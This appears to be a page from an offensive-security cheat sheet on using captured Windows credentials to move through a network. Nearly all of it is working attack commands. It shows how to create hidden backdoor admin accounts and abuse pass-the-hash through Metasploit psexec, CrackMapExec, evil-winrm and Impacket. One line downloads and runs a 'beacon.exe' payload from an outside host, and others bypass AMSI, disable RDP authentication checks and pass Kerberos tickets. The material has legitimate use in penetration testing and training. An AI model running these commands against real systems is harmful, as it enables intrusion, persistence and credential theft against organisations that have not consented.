# Windows - Using credentials

## Summary



## TIPS

### TIP 1 - Create your credential

```
net user hacker Hcker_12345678* /add /Y
net localgroup administrators hacker /add
net localgroup "Remote Desktop Users" hacker /add # RDP access
net localgroup "Backup Operators" hacker /add # Full access to files
net group "Domain Admins" hacker /add /domain

# enable a domain user account
net user hacker /ACTIVE:YES /domain

# prevent users from changing their password
net user username /Passwordchg:No

# prevent the password to expire
net user hacker /Expires:Never

# create a machine account (not shown in net users)
net user /add evilbob$ evilpassword
```

```
# homoglyph Administrator (different of Administrator)
Administrator
```

Some info about your user

```
net user /dom
net user /domain
```

### TIP 2 - Retail Credential

Retail Credential @m8urnett on Twitter

when you run Windows in retail demo mode, it creates a user named Darrin DeYoung and an admin RetailAdmin

```
Username: RetailAdmin
Password: trs10
```

### TIP 3 - Sandbox Credential - WDAGUtilityAccount

WDAGUtilityAccount - @never_released on Twitter

Starting with Windows 10 version 1709 (Fall Creators Update), it is part of Windows Defender Application Guard

```
\\windowssandbox
Username: wdagutilityaccount
Password: pw123
```

## Metasploit

### Metasploit - SMB

```
use auxiliary/scanner/smb/smb_login
set SMBDomain DOMAIN
set SMBUser username
set SMBPass password
services -p 445 -R
run
creds
```

### Metasploit - Psexec

Note: the password can be replaced by a hash to execute a `pass the hash` attack.

```
use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser username
set SMBPass password
```

```
set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
set PAYLOAD windows/meterpreter/bind_tcp
run
shell
```

## Crackmapexec

```
root@payload$ git clone https://github.com/byt3bl33d3r/CrackMapExec.github
root@payload$ cme smb 192.168.1.100 -u Administrator -H
":5858d47a41e40b40f294b3100bea611f" -x 'whoami' # cmd
root@payload$ cme smb 192.168.1.100 -u Administrator -H
":5858d47a41e40b40f294b3100bea611f" -X 'whoami' # powershell
root@payload$ cme smb 192.168.1.100 -u Administrator -H
":5858d47a41e40b40f294b3100bea611f" --exec-method atexec -x 'whoami'
root@payload$ cme smb 192.168.1.100 -u Administrator -H
":5858d47a41e40b40f294b3100bea611f" --exec-method wmiexec -x 'whoami'
root@payload$ cme smb 192.168.1.100 -u Administrator -H
":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -x 'whoami'
```

## Remote Code Execution with PS Credentials

```
PS C:\> $SecPassword = ConvertTo-SecureString 'secretpassword' -AsPlainText -Force
PS C:\> $Cred = New-Object
System.Management.Automation.PSCredential('DOMAIN\USERNAME', $SecPassword)
PS C:\> Invoke-Command -ComputerName DC01 -Credential $Cred -ScriptBlock {whoami}
PS C:\> New-PSSESSION -NAME PSDC -ComputerName COMPUTER01; Invoke-Command -
ComputerName COMPUTER01 -ScriptBlock {whoami}
PS C:\> Invoke-Command -ComputerName COMPUTER01 -ScriptBlock {powershell Invoke-
WebRequest -Uri 'http://10.10.10.10/beacon.exe' -OutFile 'C:\Temp\beacon.exe'; Start-
Process -wait C:\Temp\beacon.exe}
```

## WinRM

Require:

- Port **5985** or **5986** open.
- Default endpoint is **/wsman**

```
root@payload$ git clone https://github.com/Hackplayers/evil-winrm
root@payload$ evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p
PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM]
root@payload$ ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p
'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
root@payload$ ruby evil-winrm.rb -i 10.0.0.20 -u username -H
BD1C6503987F8FF006296118F359FA79
root@payload$ ruby evil-winrm.rb -i 10.0.0.20 -u username -p password -r domain.local

*Evil-WinRM* PS > Bypass-4MSI
*Evil-WinRM* PS >
IEX([Net.Webclient]::new().DownloadString("http://127.0.0.1/PowerView.ps1"))
```

or using a custom ruby code to interact with the WinRM service.

```
require 'winrm'

conn = WinRM::Connection.new(
  endpoint: 'http://ip:5985/wsman',
  user: 'domain/user',
  password: 'password',
)

command=""
conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        print "PS > "
        command = gets
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end
    puts "Exiting with code #{output.exitcode}"
end
```

## Powershell Remoting

> PSSESSION

```
PS> Enable-PSRemoting

# use credential
PS> $pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force
PS> $cred = New-Object System.Management.Automation.PSCredential ('DOMAIN\Username',
$pass)
PS> Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }

# one-to-one interactive session
PS> Enter-PSSession -computerName DC01
[DC01]: PS>

# one-to-one execute scripts and commands
PS> $Session = New-PSSession -ComputerName CLIENT1
PS> Invoke-Command -Session $Session -scriptBlock { $test = 1 }
PS> Invoke-Command -Session $Session -scriptBlock { $test }
1

# one-to-many execute scripts and commands
PS> Invoke-Command -computername DC01,CLIENT1 -scriptBlock { Get-Service }
PS> Invoke-Command -computername DC01,CLIENT1 -filePath c:\Scripts\Task.ps1
```

## Winexe

Integrated to Kali

```
root@payload$ winexe -U DOMAIN/username%password //10.10.10.10 cmd.exe
```

## WMI

```
PS C:\> wmic /node:target.domain /user:domain\user /password:password process call
create "C:\Windows\System32\calc.exe”
```

## Psexec.py / Smbexec.py / Wmiexec.py

From Impacket (:warning: renamed to impacket-xxx in Kali) :warning: `get` / `put` for wmiexec, psexec, smbexec, and dcomexec are changing to `lget` and `lput`.
:warning: French characters might not be correctly displayed on your output, use `-codec ibm850` to fix this.

```
root@payload$ git clone https://github.com/CoreSecurity/impacket.git

# PSEXEC like functionality example using RemComSv
root@payload$ python psexec.py DOMAIN/username:password@10.10.10.10
# this will drop a binary on the disk = noisy

# A similar approach to PSEXEC w/o using RemComSvc
root@payload$ python smbexec.py DOMAIN/username:password@10.10.10.10

# A semi-interactive shell, used through Windows Management Instrumentation.
root@payload$ python wmiexec.py DOMAIN/username:password@10.10.10.10
root@payload$ wmiexec.py domain.local/user@10.0.0.20 -hashes
aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79

# A semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints.
root@payload$ python atexec.py DOMAIN/username:password@10.10.10.10

# Executes a command on the target machine through the Task Scheduler service and
returns the output of the executed command.
root@payload$ python dcomexec.py DOMAIN/username:password@10.10.10.10
```

## PsExec - Sysinternal

from Windows - Sysinternal

```
PS C:\> PsExec.exe  \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe

# switch admin user to NT Authority/System
PS C:\> PsExec.exe  \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe -s
```

## RDP Remote Desktop Protocol

:warning: **NOTE**: You may need to enable RDP and disable NLA and fix CredSSP errors.

```
```

```
# Enable RDP
PS C:\> reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
PS C:\> netsh firewall set service remoteadmin enable
PS C:\> netsh firewall set service remotedesktop enable
# Alternative
C:\> psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal
server" /f /v fDenyTSConnections /t REG_DWORD /d 0
root@payload$ crackmapexec 192.168.1.100 -u Jaddmon -H
5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable

# Fix CredSSP errors
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

# Disable NLA
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace
root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-
tcp'").UserAuthenticationRequired
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace
root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-
tcp'").SetUserAuthenticationRequired(0)
```

Abuse RDP protocol to execute commands remotely with the following commands;

- rdesktop

```
root@payload$ rdesktop -d DOMAIN -u username -p password 10.10.10.10 -g 70 -r
disk:share=/home/user/myshare
root@payload$ rdesktop -u username -p password -g 70% -r disk:share=/tmp/myshare
10.10.10.10
# -g : the screen will take up 70% of your actual screen size
# -r disk:share : sharing a local folder during a remote desktop session
```

- freerdp

```
root@payload$ xfreerdp /v:10.0.0.1 /u:'Username' /p:'Password123!' +clipboard
/cert-ignore /size:1366x768 /smart-sizing
root@payload$ xfreerdp /v:10.0.0.1 /u:username # password will be asked

# pass the hash using Restricted Admin, need an admin account not in the "Remote
Desktop Users" group.
# pass the hash works for Server 2012 R2 / Win 8.1+
# require freerdp2-x11 freerdp2-shadow-x11 packages instead of freerdp-x11
root@payload$ xfreerdp /v:10.0.0.1 /u:username /d:domain
/pth:88a405e17c0aa5debbc9b5679753939d
```

- SharpRDP

```
PS C:\> SharpRDP.exe computername=target.domain command="C:\Temp\file.exe"
username=domain\user password=password
```

## Netuse

Windows only

```
PS C:\> net use \\ordws01.cscou.lab /user:DOMAIN\username password C$
```

## Runas

```
PS C:\> runas /netonly /user:DOMAIN\username "cmd.exe"
PS C:\> runas /noprofil /netonly /user:DOMAIN\username cmd.exe
```

## Pass the Ticket

```
python3 getTGT.py -hashes
aad3b435b51404eeaad3b435b51404ee:B65039D1C0359FA797F88FF06296118F domain.local/user
[*] Saving ticket in user.ccache
cp user.ccache /tmp/krb5cc_0
export KRB5CCNAME=/tmp/krb5cc_0
klist
```

## SSH

:warning: You cannot pass the hash to SSH, but you can connect with a Kerberos ticket (Which you can get by passing the hash!

```
cp user.ccache /tmp/krb5cc_1045
ssh -o GSSAPIAuthentication=yes user@domain.local -vv
```

## References

- Ropnop - Using credentials to own Windows boxes
- Ropnop - Using credentials to own Windows boxes Part 2
- Gaining Domain Admin from Outside Active Directory